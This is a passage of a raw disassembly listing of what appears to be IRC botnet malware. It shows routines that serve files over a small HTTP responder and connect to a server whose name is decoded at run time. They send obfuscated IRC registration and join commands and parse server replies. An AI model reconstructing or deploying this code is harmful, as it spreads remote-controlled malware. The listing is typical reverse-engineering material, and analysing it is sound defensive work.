[ebp+0CA8h+var_108] push eax call ds:off_41E05C cmp eax, 0FFFFFFFFh mov [ebp+0CA8h+var_D1C], eax jz short loc_403530 push ebx push eax call ds:off_41E060 mov esi, eax push esi call sub_40D437 push esi mov edi, eax push ebx push edi call sub_40C6F0 add esp, 10h jmp short loc_40350E ; --------------------------------------------------------------------------- loc_4034FE: ; CODE XREF: sub_403249+2E3j cmp [ebp+0CA8h+var_D20], ebx jnz short loc_403570 push esi push ebx push edi call sub_40C6F0 add esp, 0Ch loc_40350E: ; CODE XREF: sub_403249+2B3j push ebx push ebx push ebx push [ebp+0CA8h+var_D1C] call ds:off_41E064 push ebx lea eax, [ebp+0CA8h+var_D20] push eax push esi push edi push [ebp+0CA8h+var_D1C] call ds:off_41E068 test eax, eax jnz short loc_4034FE jmp short loc_403570 ; --------------------------------------------------------------------------- loc_403530: ; CODE XREF: sub_403249+273j ; sub_403249+294j mov esi, 200h push esi call sub_40D437 push esi mov edi, eax push ebx push edi call sub_40C6F0 add esp, 10h push offset aQue? ; "Que?" push edi call sub_40C58B pop ecx dec eax push eax push edi call sub_40C634 push edi call sub_40C500 push edi mov [eax+edi], bl call sub_40C500 mov esi, eax add esp, 14h loc_403570: ; CODE XREF: sub_403249+2B8j ; sub_403249+2E5j push 400h lea eax, [ebp+0CA8h+var_508] push ebx push eax call sub_40C6F0 push esi push offset aHttp1_1200OkCo ; "HTTP/1.1 200 ok\r\nContent-Length: %d\r\nCo"... lea eax, [ebp+0CA8h+var_508] push 3FFh push eax call sub_40C634 lea eax, [ebp+0CA8h+var_508] push eax call sub_40C500 add esp, 20h mov [ebp+eax+0CA8h+var_508], bl lea eax, [ebp+0CA8h+var_508] push ebx push eax call sub_40C500 pop ecx push eax lea eax, [ebp+0CA8h+var_508] push eax push [ebp+0CA8h+arg_0] call ds:dword_41E248 ; send test eax, eax jz loc_4036ED push ebx push esi push edi push [ebp+0CA8h+arg_0] call ds:dword_41E248 ; send test eax, eax jz loc_4036ED lea eax, [ebp+0CA8h+var_108] push eax push offset byte_426830 call sub_40ACE3 test eax, eax pop ecx pop ecx jnz loc_4036ED inc dword_4338B8 push 100h call sub_40AA82 mov esi, eax push esi call sub_40C58B push eax mov ebx, offset asc_424FE0 ; "±±ÆÀÔÙ" call sub_401ACE push 10h pop eax push eax mov [ebp+0CA8h+var_D1C], eax xor ebx, ebx lea eax, [ebp+0CA8h+var_D18] push ebx push eax call sub_40C6F0 add esp, 18h lea eax, [ebp+0CA8h+var_D1C] push eax lea eax, [ebp+0CA8h+var_D18] push eax push [ebp+0CA8h+arg_0] call ds:dword_41E254 ; getpeername movzx eax, [ebp+0CA8h+var_D11] movzx ecx, [ebp+0CA8h+var_D12] shl eax, 8 add eax, ecx movzx ecx, [ebp+0CA8h+var_D13] shl eax, 8 add eax, ecx movzx ecx, [ebp+0CA8h+var_D14] shl eax, 8 add eax, ecx push 2 mov [ebp+0CA8h+var_D24], eax push 4 lea eax, [ebp+0CA8h+var_D24] push eax call ds:dword_41E28C ; gethostbyaddr cmp eax, ebx push dword_4338B8 jnz short loc_4036BC movzx eax, [ebp+0CA8h+var_D11] push eax movzx eax, [ebp+0CA8h+var_D12] push eax movzx eax, [ebp+0CA8h+var_D13] push eax movzx eax, [ebp+0CA8h+var_D14] push eax push offset aHttpTransferD_ ; "HTTP: Transfer: %d.%d.%d.%d (N/A). %d T"... push esi push ebx push offset dword_426A3C call sub_403DB4 add esp, 24h jmp short loc_4036E6 ; --------------------------------------------------------------------------- loc_4036BC: ; CODE XREF: sub_403249+447j push dword ptr [eax] movzx eax, [ebp+0CA8h+var_D11] push eax movzx eax, [ebp+0CA8h+var_D12] push eax movzx eax, [ebp+0CA8h+var_D13] push eax movzx eax, [ebp+0CA8h+var_D14] push eax push offset aHttpTransfer_0 ; "HTTP: Transfer: %d.%d.%d.%d (%s). %d To"... push esi push ebx push offset dword_426A3C call sub_403DB4 add esp, 28h loc_4036E6: ; CODE XREF: sub_403249+471j push esi call sub_40C76A pop ecx loc_4036ED: ; CODE XREF: sub_403249+38Aj ; sub_403249+3A1j ... push edi call sub_40D35A pop ecx loc_4036F4: ; CODE XREF: sub_403249+166j push [ebp+0CA8h+arg_0] call ds:dword_41E244 ; closesocket loc_403700: ; CODE XREF: sub_403249+ADj ; sub_403249+177j mov ecx, [ebp+0CA8h+var_4] pop edi pop esi xor ecx, ebp pop ebx call sub_40AB4A add ebp, 0CA8h leave retn sub_403249 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403718 proc near ; CODE XREF: sub_403249+A3p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp mov eax, [ebp+arg_0] mov [eax], esi mov eax, [ebp+arg_4] mov [eax], esi mov eax, [ebp+arg_8] push ebx mov [eax], esi mov eax, [ebp+arg_C] push offset asc_4203BC ; "\r\n" push esi mov [eax], esi call sub_40D500 mov ebx, eax test ebx, ebx pop ecx pop ecx jz short loc_4037A9 push edi mov edi, offset asc_4202A4 ; " " push edi push esi mov byte ptr [ebx], 0 call sub_40D75E mov ecx, [ebp+arg_0] push edi push 0 mov [ecx], eax call sub_40D75E mov ecx, [ebp+arg_4] add esp, 10h test eax, eax mov [ecx], eax jz short loc_40379D push edi push 0 call sub_40D75E test eax, eax pop ecx pop ecx mov ecx, [ebp+arg_8] mov [ecx], eax jz short loc_40379D mov eax, [ebp+arg_C] add ebx, 2 cmp byte ptr [ebx], 0 mov [eax], ebx jz short loc_4037A5 push offset asc_4203C0 ; "\r\n\r\n" push ebx call sub_40D500 test eax, eax pop ecx pop ecx jnz short loc_4037A1 loc_40379D: ; CODE XREF: sub_403718+52j ; sub_403718+65j xor eax, eax jmp short loc_4037A8 ; --------------------------------------------------------------------------- loc_4037A1: ; CODE XREF: sub_403718+83j mov byte ptr [eax+2], 0 loc_4037A5: ; CODE XREF: sub_403718+72j xor eax, eax inc eax loc_4037A8: ; CODE XREF: sub_403718+87j pop edi loc_4037A9: ; CODE XREF: sub_403718+29j pop ebx pop ebp retn sub_403718 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4037AC proc near ; CODE XREF: sub_403249+16Fp var_8 = byte ptr -8 var_4 = byte ptr -4 var_2 = byte ptr -2 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx push ebx mov ebx, [ebp+arg_0] push esi push edi push ebx call sub_40C500 inc eax push eax call sub_40AA82 mov esi, eax push esi call sub_40C58B push eax push 0 push esi call sub_40C6F0 push 25h push ebx call sub_40D6A0 add esp, 20h jmp short loc_403835 ; --------------------------------------------------------------------------- loc_4037E2: ; CODE XREF: sub_4037AC+8Dj push ebx push esi mov byte ptr [edi], 0 call sub_40D5A0 push 2 inc edi lea eax, [ebp+var_4] push edi push eax call sub_40CC90 lea eax, [ebp+var_8] push eax lea eax, [ebp+var_4] push offset asc_4203C8 ; "%x" push eax mov [ebp+var_2], 0 call sub_40D33B add esp, 20h test eax, eax jz short loc_40385C push esi call sub_40C500 mov cl, [ebp+var_8] lea ebx, [edi+2] push 25h push ebx mov [eax+esi], cl mov byte ptr [eax+esi+1], 0 call sub_40D6A0 add esp, 0Ch loc_403835: ; CODE XREF: sub_4037AC+34j mov edi, eax test edi, edi jnz short loc_4037E2 push ebx push esi call sub_40D5A0 push 4 push edi push [ebp+arg_0] call sub_40C6F0 push esi push [ebp+arg_0] call sub_40D590 add esp, 1Ch inc edi jmp short loc_40385E ; --------------------------------------------------------------------------- loc_40385C: ; CODE XREF: sub_4037AC+68j xor edi, edi loc_40385E: ; CODE XREF: sub_4037AC+AEj push esi call sub_40C76A pop ecx mov eax, edi pop edi pop esi pop ebx leave retn sub_4037AC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame sub_40386C proc near ; DATA XREF: sub_4049E1+37Eo push ebp mov ebp, esp and esp, 0FFFFFFF8h push esi push edi call sub_402BB7 mov edi, dword_426618 mov esi, dword_42661C loc_403885: ; CODE XREF: sub_40386C+5Aj call sub_402BB7 cmp dword_42661C, esi jl short loc_4038AF jg short loc_40389C cmp dword_426618, edi jbe short loc_4038AF loc_40389C: ; CODE XREF: sub_40386C+26j cmp byte_426A40, 0 jz short loc_4038AF push offset dword_426A3C call sub_4038C8 loc_4038AF: ; CODE XREF: sub_40386C+24j ; sub_40386C+2Ej ... mov edi, dword_426618 mov esi, dword_42661C push 0C350h call ds:off_41E0E0 jmp short loc_403885 sub_40386C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4038C8 proc near ; CODE XREF: sub_40386C+3Ep var_10 = dword ptr -10h var_C = byte ptr -0Ch var_B = byte ptr -0Bh var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 10h mov eax, dword_423068 xor eax, ebp mov [ebp+var_4], eax mov eax, [ebp+arg_0] push ebx push esi push edi mov [ebp+var_10], eax xor eax, eax mov [ebp+var_C], 0 lea edi, [ebp+var_B] push 5 lea esi, [ebp+var_C] mov ebx, offset asc_425458 ; "ÜÛÑÙ" stosd call sub_401ACE mov ebx, [ebp+var_10] pop ecx add ebx, 5 call sub_404844 push ebx mov eax, esi push eax push offset aSS ; "%s %s\r\n" mov edi, offset dword_426A3C call sub_403ECA add esp, 0Ch push 5 mov eax, esi push 0 push eax call sub_40C6F0 mov ecx, [ebp+var_4] add esp, 0Ch pop edi pop esi xor ecx, ebp pop ebx call sub_40AB4A leave retn 4 sub_4038C8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40393C proc near ; CODE XREF: sub_4049E1+447p var_458 = dword ptr -458h var_454 = dword ptr -454h var_450 = dword ptr -450h var_44C = byte ptr -44Ch var_44B = byte ptr -44Bh var_448 = byte ptr -448h var_447 = byte ptr -447h var_441 = byte ptr -441h var_440 = word ptr -440h var_43E = word ptr -43Eh var_43C = byte ptr -43Ch var_430 = byte ptr -430h var_42F = byte ptr -42Fh var_230 = byte ptr -230h var_22F = byte ptr -22Fh var_30 = byte ptr -30h var_2F = byte ptr -2Fh var_24 = byte ptr -24h var_23 = byte ptr -23h var_18 = byte ptr -18h var_17 = byte ptr -17h var_C = byte ptr -0Ch var_B = byte ptr -0Bh var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 45Ch mov eax, dword_423068 xor eax, ebp mov [ebp+var_4], eax mov eax, [ebp+arg_0] push ebx push esi push edi push 0 push 1 mov edi, ecx push 2 mov [ebp+var_454], edi mov ebx, edx mov [ebp+var_458], eax call ds:dword_41E240 ; socket cmp eax, 0FFFFFFFFh mov [edi], eax jnz short loc_403992 push eax call ds:dword_41E244 ; closesocket loc_40397F: ; CODE XREF: sub_40393C+C5j xor al, al loc_403981: ; CODE XREF: sub_40393C+164j mov ecx, [ebp+var_4] pop edi pop esi xor ecx, ebp pop ebx call sub_40AB4A leave retn 8 ; --------------------------------------------------------------------------- loc_403992: ; CODE XREF: sub_40393C+3Aj push 1FFh lea eax, [ebp+var_22F] push 0 push eax mov [ebp+var_230], 0 call sub_40C6F0 add esp, 0Ch push 200h lea esi, [ebp+var_230] call sub_401ACE pop ecx mov eax, esi push eax call ds:dword_41E284 ; gethostbyname xor ebx, ebx cmp eax, ebx mov [ebp+var_450], eax jnz short loc_403A06 push dword ptr [edi] call ds:dword_41E244 ; closesocket push 4 lea eax, [ebp+var_450] push ebx push eax call sub_40C6F0 add esp, 0Ch push 10h lea eax, [ebp+var_440] push ebx push eax call sub_40C6F0 add esp, 0Ch jmp loc_40397F ; --------------------------------------------------------------------------- loc_403A06: ; CODE XREF: sub_40393C+97j push 200h lea eax, [ebp+var_230] push ebx push eax call sub_40C6F0 mov eax, [ebp+var_450] movsx ecx, word ptr [eax+0Ah] mov eax, [eax+0Ch] add esp, 0Ch push ecx push dword ptr [eax] lea eax, [ebp+var_43C] push eax call sub_40D820 add esp, 0Ch push [ebp+arg_4] mov [ebp+var_440], 2 call ds:dword_41E238 ; htons mov [ebp+var_43E], ax push 10h lea eax, [ebp+var_440] push eax push dword ptr [edi] call ds:dword_41E258 ; connect test eax, eax jz short loc_403AA5 push dword ptr [edi] call ds:dword_41E244 ; closesocket mov [ebp+var_441], bl loc_403A76: ; CODE XREF: sub_40393C+33Cj push 4 lea eax, [ebp+var_450] push ebx push eax call sub_40C6F0 add esp, 0Ch push 10h lea eax, [ebp+var_440] push ebx push eax call sub_40C6F0 mov al, [ebp+var_441] add esp, 0Ch jmp loc_403981 ; --------------------------------------------------------------------------- loc_403AA5: ; CODE XREF: sub_40393C+12Aj push [ebp+var_458] call sub_40C500 test eax, eax pop ecx jbe loc_403B49 xor eax, eax mov [ebp+var_30], bl lea edi, [ebp+var_2F] stosd push 1FFh stosd lea eax, [ebp+var_42F] push ebx push eax mov [ebp+var_430], bl call sub_40C6F0 mov ebx, [ebp+var_458] add esp, 0Ch push 200h lea esi, [ebp+var_430] call sub_401ACE pop ecx push 9 lea esi, [ebp+var_30] mov ebx, offset asc_425461 ; "ÂÓÁÁ" call sub_401ACE mov edi, [ebp+var_454] pop ecx lea eax, [ebp+var_430] push eax mov eax, esi push eax push offset aSS ; "%s %s\r\n" call sub_403ECA add esp, 0Ch push 9 mov eax, esi push 0 push eax call sub_40C6F0 add esp, 0Ch push 200h lea eax, [ebp+var_430] push 0 push eax call sub_40C6F0 add esp, 0Ch xor ebx, ebx loc_403B49: ; CODE XREF: sub_40393C+177j xor eax, eax mov [ebp+var_18], bl lea edi, [ebp+var_17] stosd stosd xor eax, eax mov [ebp+var_24], bl lea edi, [ebp+var_23] stosd stosd xor eax, eax mov [ebp+var_C], bl lea edi, [ebp+var_B] stosd stosw xor eax, eax mov [ebp+var_448], bl lea edi, [ebp+var_447] stosw push 3 mov [ebp+var_44C], bl lea edi, [ebp+var_44B] pop esi stosw mov ecx, esi lea edi, [ebp+var_448] call sub_402AAB lea eax, [ebp+var_44C] push esi push eax call sub_402B8C push 7 lea eax, [ebp+var_C] push ebx push eax call sub_40C6F0 add esp, 14h lea eax, [ebp+var_44C] push eax mov eax, edi push eax push offset aSS_0 ; "%s-%s" lea eax, [ebp+var_C] push 6 push eax call sub_40C634 lea eax, [ebp+var_C] add esp, 14h push eax call sub_40C500 pop ecx push esi mov [ebp+eax+var_C], bl mov eax, edi push ebx push eax call sub_40C6F0 add esp, 0Ch push esi lea eax, [ebp+var_44C] push ebx push eax call sub_40C6F0 add esp, 0Ch push 9 lea esi, [ebp+var_18] mov ebx, offset asc_425458 ; "ÜÛÑÙ" call sub_401ACE pop ecx push 9 lea esi, [ebp+var_24] mov ebx, offset asc_42546A ; "ÇÁ×À" call sub_401ACE mov edi, [ebp+var_454] pop ecx lea ebx, [edi+5] call sub_404844 lea eax, [ebp+var_C] push ebx push eax mov eax, esi push eax push ebx lea eax, [ebp+var_18] push eax push offset aSSSS00S ; "%s %s\r\n%s %s 0 0 :%s\r\n" call sub_403ECA push 7 xor esi, esi lea eax, [ebp+var_C] push esi push eax call sub_40C6F0 add esp, 24h push 9 lea eax, [ebp+var_18] push esi push eax call sub_40C6F0 add esp, 0Ch push 9 lea eax, [ebp+var_24] push esi push eax call sub_40C6F0 add esp, 0Ch mov [ebp+var_441], 1 xor ebx, ebx jmp loc_403A76 sub_40393C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403C7D proc near ; CODE XREF: sub_4049E1+459p var_20418 = dword ptr -20418h var_20414 = dword ptr -20414h var_20410 = dword ptr -20410h var_2040C = dword ptr -2040Ch var_20408 = byte ptr -20408h var_408 = byte ptr -408h var_407 = byte ptr -407h var_4 = dword ptr -4 push ebp mov ebp, esp mov eax, 2041Ch call sub_41AF10 mov eax, dword_423068 xor eax, ebp mov [ebp+var_4], eax push ebx push esi push edi mov esi, 3FFh xor ebx, ebx push esi lea eax, [ebp+var_407] mov edi, ecx push ebx push eax mov [ebp+var_20418], edi mov [ebp+var_408], bl call sub_40C6F0 add esp, 0Ch push ebx push esi lea eax, [ebp+var_408] push eax push dword ptr [edi] mov [ebp+var_2040C], ebx call ds:dword_41E23C ; recv test eax, eax jz loc_403D9B lea eax, [ebp+var_408] push eax call sub_40C500 pop ecx mov [ebp+eax+var_408], bl mov esi, offset asc_4203BC ; "\r\n" lea eax, [ebp+var_408] push esi push eax call sub_40D75E push 20000h mov [ebp+var_20414], eax lea eax, [ebp+var_20408] push ebx push eax call sub_40C6F0 add esp, 14h cmp [ebp+var_20414], ebx mov edi, 200h jz short loc_403D71 lea eax, [ebp+var_20408] mov [ebp+var_20410], eax loc_403D36: ; CODE XREF: sub_403C7D+F2j push [ebp+var_20414] push offset aS ; "%s" push 1FFh push [ebp+var_20410] call sub_40C634 push esi push ebx call sub_40D75E add [ebp+var_20410], edi add esp, 18h inc [ebp+var_2040C] cmp eax, ebx mov [ebp+var_20414], eax jnz short loc_403D36 loc_403D71: ; CODE XREF: sub_403C7D+ABj cmp [ebp+var_2040C], ebx jle short loc_403D97 mov ebx, [ebp+var_2040C] lea esi, [ebp+var_20408] loc_403D85: ; CODE XREF: sub_403C7D+118j push [ebp+var_20418] mov ecx, esi call sub_403F55 add esi, edi dec ebx jnz short loc_403D85 loc_403D97: ; CODE XREF: sub_403C7D+FAj mov al, 1 jmp short loc_403DA5 ; --------------------------------------------------------------------------- loc_403D9B: ; CODE XREF: sub_403C7D+59j push dword ptr [edi] call ds:dword_41E244 ; closesocket xor al, al loc_403DA5: ; CODE XREF: sub_403C7D+11Cj mov ecx, [ebp+var_4] pop edi pop esi xor ecx, ebp pop ebx call sub_40AB4A leave retn sub_403C7D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403DB4 proc near ; CODE XREF: sub_401000+38Bp ; sub_403249+469p ... var_40C = dword ptr -40Ch var_408 = dword ptr -408h var_404 = byte ptr -404h var_403 = byte ptr -403h var_204 = byte ptr -204h var_203 = byte ptr -203h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = byte ptr 18h push ebp mov ebp, esp sub esp, 40Ch mov eax, dword_423068 xor eax, ebp mov [ebp+var_4], eax mov eax, [ebp+arg_0] push ebx push edi mov [ebp+var_408], eax mov eax, [ebp+arg_8] mov edi, 1FFh xor ebx, ebx push edi mov [ebp+var_40C], eax lea eax, [ebp+var_203] push ebx push eax mov [ebp+var_204], bl call sub_40C6F0 push edi lea eax, [ebp+var_403] push ebx push eax mov [ebp+var_404], bl call sub_40C6F0 add esp, 18h cmp [ebp+arg_4], 1 jz loc_403EBC push esi push 0Dh call sub_40AA82 mov esi, eax lea eax, [ebp+arg_10] push eax push [ebp+arg_C] lea eax, [ebp+var_404] push edi push eax call sub_40D1C9 lea eax, [ebp+var_404] push eax call sub_40C500 push esi mov [ebp+eax+var_404], bl call sub_40C58B push eax mov ebx, offset asc_4254A0 ; "ÂÀÛÄßÁÕ" call sub_401ACE lea eax, [ebp+var_404] push eax push [ebp+var_40C] lea eax, [ebp+var_204] push esi push offset aSSS ; "%s %s %s\r\n" push edi push eax call sub_40C634 lea eax, [ebp+var_204] push eax call sub_40C500 push esi mov [ebp+eax+var_204], 0 call sub_40C76A add esp, 40h lea eax, [ebp+var_204] push 0 push eax call sub_40C500 pop ecx push eax lea eax, [ebp+var_204] push eax mov eax, [ebp+var_408] push dword ptr [eax] call ds:dword_41E248 ; send pop esi loc_403EBC: ; CODE XREF: sub_403DB4+5Dj mov ecx, [ebp+var_4] pop edi xor ecx, ebp pop ebx call sub_40AB4A leave retn sub_403DB4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403ECA proc near ; CODE XREF: sub_402833+171p ; sub_4038C8+4Cp ... var_204 = byte ptr -204h var_203 = byte ptr -203h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch push ebp mov ebp, esp sub esp, 204h mov eax, dword_423068 xor eax, ebp mov [ebp+var_4], eax push esi mov esi, 1FFh push esi lea eax, [ebp+var_203] push 0 push eax mov [ebp+var_204], 0 call sub_40C6F0 lea eax, [ebp+arg_4] push eax push [ebp+arg_0] lea eax, [ebp+var_204] push esi push eax call sub_40D1C9 lea eax, [ebp+var_204] push eax call sub_40C500 add esp, 20h mov [ebp+eax+var_204], 0 lea eax, [ebp+var_204] push 0 push eax call sub_40C500 pop ecx push eax lea eax, [ebp+var_204] push eax push dword ptr [edi] call ds:dword_41E248 ; send mov ecx, [ebp+var_4] test eax, eax setnz al xor ecx, ebp pop esi call sub_40AB4A leave retn sub_403ECA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403F55 proc near ; CODE XREF: sub_403C7D+110p var_10F34 = dword ptr -10F34h var_10734 = dword ptr -10734h var_10730 = dword ptr -10730h var_1072C = byte ptr -1072Ch var_1062C = byte ptr -1062Ch var_1052C = byte ptr -1052Ch var_1042C = byte ptr -1042Ch var_72C = byte ptr -72Ch var_72B = byte ptr -72Bh var_62C = byte ptr -62Ch var_62B = byte ptr -62Bh var_62A = byte ptr -62Ah var_42C = byte ptr -42Ch var_42B = byte ptr -42Bh var_32C = byte ptr -32Ch var_32B = byte ptr -32Bh var_22C = byte ptr -22Ch var_22B = byte ptr -22Bh var_1AC = byte ptr -1ACh var_1AB = byte ptr -1ABh var_A8 = byte ptr -0A8h var_A7 = byte ptr -0A7h var_78 = byte ptr -78h var_77 = byte ptr -77h var_54 = byte ptr -54h var_53 = byte ptr -53h var_44 = byte ptr -44h var_43 = byte ptr -43h var_38 = byte ptr -38h var_37 = byte ptr -37h var_2C = byte ptr -2Ch var_2B = byte ptr -2Bh var_20 = byte ptr -20h var_1F = byte ptr -1Fh var_14 = byte ptr -14h var_13 = byte ptr -13h var_10 = dword ptr -10h var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 10F38h call sub_41AF10 mov eax, dword_423068 xor eax, ebp mov [ebp+var_8], eax mov eax, [ebp+arg_0] push ebx push esi push edi mov esi, 1FFh xor ebx, ebx push esi mov [ebp+var_10734], eax lea eax, [ebp+var_62B] mov edi, ecx push ebx push eax mov [ebp+var_10730], edi mov [ebp+var_62C], bl call sub_40C6F0 add esp, 0Ch push edi mov edi, offset aS ; "%s" push edi lea eax, [ebp+var_62C] push esi push eax call sub_40C634 lea eax, [ebp+var_62C] push eax call sub_40C500 add esp, 14h mov [ebp+eax+var_62C], bl lea eax, [ebp+var_62C] push offset asc_420400 ; " :" push eax call sub_40D500 push eax push edi lea eax, [ebp+var_62C] push esi push eax call sub_40C634 lea eax, [ebp+var_62C] push eax call sub_40C500 mov [ebp+eax+var_62C], bl lea eax, [ebp+var_62C] add esp, 1Ch push eax call sub_40C500 pop ecx push eax lea eax, [ebp+var_62A] push eax lea eax, [ebp+var_62C] push eax call sub_40CC90 add esp, 0Ch mov esi, offset asc_4202A4 ; " " push esi push [ebp+var_10730] call sub_40D75E cmp eax, ebx pop ecx pop ecx jz short loc_404093 mov [ebp+var_10730], ebx loc_40403F: ; CODE XREF: sub_403F55+13Cj mov ecx, [ebp+var_10730] push eax push edi lea ecx, [ebp+ecx+var_1072C] push 0FFh push ecx call sub_40C634 mov eax, [ebp+var_10730] lea eax, [ebp+eax+var_1072C] push eax call sub_40C500 add eax, [ebp+var_10730] add esp, 14h push esi push ebx mov [ebp+eax+var_1072C], bl call sub_40D75E add [ebp+var_10730], 100h cmp eax, ebx pop ecx pop ecx jnz short loc_40403F loc_404093: ; CODE XREF: sub_403F55+E2j xor eax, eax mov [ebp+var_38], bl lea edi, [ebp+var_37] stosd stosd xor eax, eax mov [ebp+var_44], bl lea edi, [ebp+var_43] stosd stosd xor eax, eax mov [ebp+var_54], bl lea edi, [ebp+var_53] stosd stosd stosd xor eax, eax mov [ebp+var_2C], bl lea edi, [ebp+var_2B] stosd push 0FFh stosd lea eax, [ebp+var_32B] push ebx push eax mov [ebp+var_32C], bl call sub_40C6F0 add esp, 0Ch push 2Fh lea eax, [ebp+var_A7] push ebx push eax mov [ebp+var_A8], bl call sub_40C6F0 xor eax, eax mov [ebp+var_14], bl lea edi, [ebp+var_13] stosd stosd xor eax, eax mov [ebp+var_20], bl lea edi, [ebp+var_1F] stosd add esp, 0Ch push 7Fh stosd lea eax, [ebp+var_22B] push ebx push eax mov [ebp+var_22C], bl call sub_40C6F0 add esp, 0Ch push 9 lea esi, [ebp+var_38] mov ebx, offset asc_425473 ; "ÂÛÜÕ" call sub_401ACE pop ecx push 9 lea esi, [ebp+var_44] mov ebx, offset asc_425485 ; "ÙÛÑÙ" call sub_401ACE pop ecx push 0Dh lea esi, [ebp+var_54] mov ebx, offset asc_4254A0 ; "ÂÀÛÄßÁÕ" call sub_401ACE pop ecx lea eax, [ebp+var_38] push eax lea eax, [ebp+var_1072C] push eax call sub_40CDC0 test eax, eax pop ecx pop ecx jnz short loc_4041AC push 9 lea esi, [ebp+var_2C] mov ebx, offset asc_42547C ; "ÂÝÜÕ" call sub_401ACE mov edi, [ebp+var_10734] pop ecx lea eax, [ebp+var_1062C] push eax mov eax, esi push eax push offset aSS ; "%s %s\r\n" call sub_403ECA add esp, 0Ch test al, al jnz short loc_404199 loc_404192: ; CODE XREF: sub_403F55+322j xor al, al jmp loc_4046AB ; --------------------------------------------------------------------------- loc_404199: ; CODE XREF: sub_403F55+23Bj push 9 xor ebx, ebx lea eax, [ebp+var_2C] push ebx push eax call sub_40C6F0 add esp, 0Ch jmp short loc_4041AE ; --------------------------------------------------------------------------- loc_4041AC: ; CODE XREF: sub_403F55+20Aj xor ebx, ebx loc_4041AE: ; CODE XREF: sub_403F55+255j lea eax, [ebp+var_44] push eax lea eax, [ebp+var_1062C] push eax call sub_40CDC0 test eax, eax pop ecx pop ecx jnz loc_4042B1 push 100h lea esi, [ebp+var_32C] mov ebx, offset asc_424FE0 ; "±±ÆÀÔÙ" call sub_401ACE pop ecx mov eax, esi push eax lea eax, [ebp+var_1052C] push eax call sub_40CDC0 test eax, eax pop ecx pop ecx jnz loc_40428C push 9 lea esi, [ebp+var_14] mov ebx, offset asc_42548E ; "ØÝÛÜ" call sub_401ACE pop ecx push 30h lea esi, [ebp+var_A8] mov ebx, offset dword_424FF8 call sub_401ACE mov edi, [ebp+var_10734] pop ecx mov eax, esi push eax lea eax, [ebp+var_32C] push eax lea eax, [ebp+var_14] push eax push offset aSSS ; "%s %s %s\r\n" call sub_403ECA add esp, 10h test al, al jnz short loc_40427C push 100h xor esi, esi lea eax, [ebp+var_32C] push esi push eax call sub_40C6F0 add esp, 0Ch push 30h lea eax, [ebp+var_A8] push esi push eax call sub_40C6F0 add esp, 0Ch push 9 lea eax, [ebp+var_14] loc_40426D: ; CODE XREF: sub_403F55+45Dj push esi push eax call sub_40C6F0 add esp, 0Ch jmp loc_404192 ; --------------------------------------------------------------------------- loc_40427C: ; CODE XREF: sub_403F55+2E8j push 9 lea eax, [ebp+var_14] push 0 push eax call sub_40C6F0 add esp, 0Ch loc_40428C: ; CODE XREF: sub_403F55+29Cj push 100h lea eax, [ebp+var_32C] push 0 push eax call sub_40C6F0 add esp, 0Ch push 30h push 0 lea eax, [ebp+var_A8] jmp loc_404671 ; --------------------------------------------------------------------------- loc_4042B1: ; CODE XREF: sub_403F55+26Dj lea eax, [ebp+var_1062C] push offset a001 ; "001" push eax call sub_40CDC0 test eax, eax pop ecx pop ecx jnz loc_404405 push 9 lea esi, [ebp+var_14] mov ebx, offset asc_42548E ; "ØÝÛÜ" call sub_401ACE pop ecx push 9 lea esi, [ebp+var_20] mov ebx, offset asc_425497 ; "ßÝÖ×" call sub_401ACE lea esi, [ebp+var_32C] mov ebx, offset asc_424FE0 ; "±±ÆÀÔÙ" mov [esp+10h+var_10], 100h call sub_401ACE pop ecx push 30h lea esi, [ebp+var_A8] mov ebx, offset dword_424FF8 call sub_401ACE pop ecx push 80h lea esi, [ebp+var_22C] mov ebx, offset byte_425011 call sub_401ACE mov edi, [ebp+var_10734] pop ecx lea eax, [ebp+var_A8] push eax lea eax, [ebp+var_32C] push eax lea eax, [ebp+var_14] push eax mov eax, esi push eax lea eax, [edi+5] push eax lea eax, [ebp+var_20] push eax push offset aSSSSSS ; "%s %s %s\r\n%s %s %s\r\n" call sub_403ECA add esp, 1Ch push 9 xor esi, esi test al, al push esi lea eax, [ebp+var_14] push eax jnz short loc_4043B7 call sub_40C6F0 add esp, 0Ch push 100h lea eax, [ebp+var_32C] push esi push eax call sub_40C6F0 add esp, 0Ch push 30h lea eax, [ebp+var_A8] push esi push eax call sub_40C6F0 add esp, 0Ch push 9 lea eax, [ebp+var_20] push esi push eax call sub_40C6F0 add esp, 0Ch push 80h lea eax, [ebp+var_22C] jmp loc_40426D ; --------------------------------------------------------------------------- loc_4043B7: ; CODE XREF: sub_403F55+412j call sub_40C6F0 add esp, 0Ch push 100h lea eax, [ebp+var_32C] push esi push eax call sub_40C6F0 add esp, 0Ch push 30h lea eax, [ebp+var_A8] push esi push eax call sub_40C6F0 add esp, 0Ch push 9 lea eax, [ebp+var_20] push esi push eax call sub_40C6F0 add esp, 0Ch push 80h lea eax, [ebp+var_22C] jmp loc_404670 ; --------------------------------------------------------------------------- loc_404405: ; CODE XREF: sub_403F55+371j lea eax, [ebp+var_54] push eax lea eax, [ebp+var_1062C] push eax call sub_40CDC0 test eax, eax pop ecx pop ecx jz short loc_404436 lea eax, [ebp+var_1062C] push offset a332 ; "332" push eax call sub_40CDC0 test eax, eax pop ecx pop ecx jnz loc_40467C loc_404436: ; CODE XREF: sub_403F55+4C4j push 8 pop ecx xor eax, eax mov [ebp+var_78], 